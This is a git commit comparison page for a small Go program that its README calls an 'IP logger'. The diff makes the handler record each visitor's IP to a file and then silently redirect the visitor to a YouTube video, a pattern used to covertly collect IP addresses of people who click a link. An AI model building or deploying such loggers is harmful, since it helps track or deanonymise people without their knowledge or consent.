Compare commits
2 Commits
Author | SHA1 | Date | |
---|---|---|---|
|
d5ce87d43c | ||
|
19a63f7715 |
@ -0,0 +1 @@
|
||||
IP logger made in GO
|
16
server.go
16
server.go
@ -1,14 +1,15 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
"os"
|
||||
)
|
||||
|
||||
func handler(w http.ResponseWriter, r *http.Request) {
|
||||
ip := GetRealIP(r)
|
||||
fmt.Fprintf(w, ip)
|
||||
WritetoFile(ip + "\n")
|
||||
http.Redirect(w, r, "https://www.youtube.com/watch?v=ZVQDHFgfssM", 301)
|
||||
}
|
||||
|
||||
func GetRealIP(r *http.Request) string {
|
||||
@ -24,6 +25,17 @@ func GetRealIP(r *http.Request) string {
|
||||
}
|
||||
return IP
|
||||
}
|
||||
func WritetoFile(IP string) {
|
||||
f, err := os.OpenFile("ListofIPs.txt",
|
||||
os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
|
||||
if err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
defer f.Close()
|
||||
if _, err := f.WriteString(IP + "\n"); err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
}
|
||||
func main() {
|
||||
http.HandleFunc("/", handler)
|
||||
log.Fatal(http.ListenAndServe(":8081", nil))
|
||||
|
Loading…
Reference in New Issue
Block a user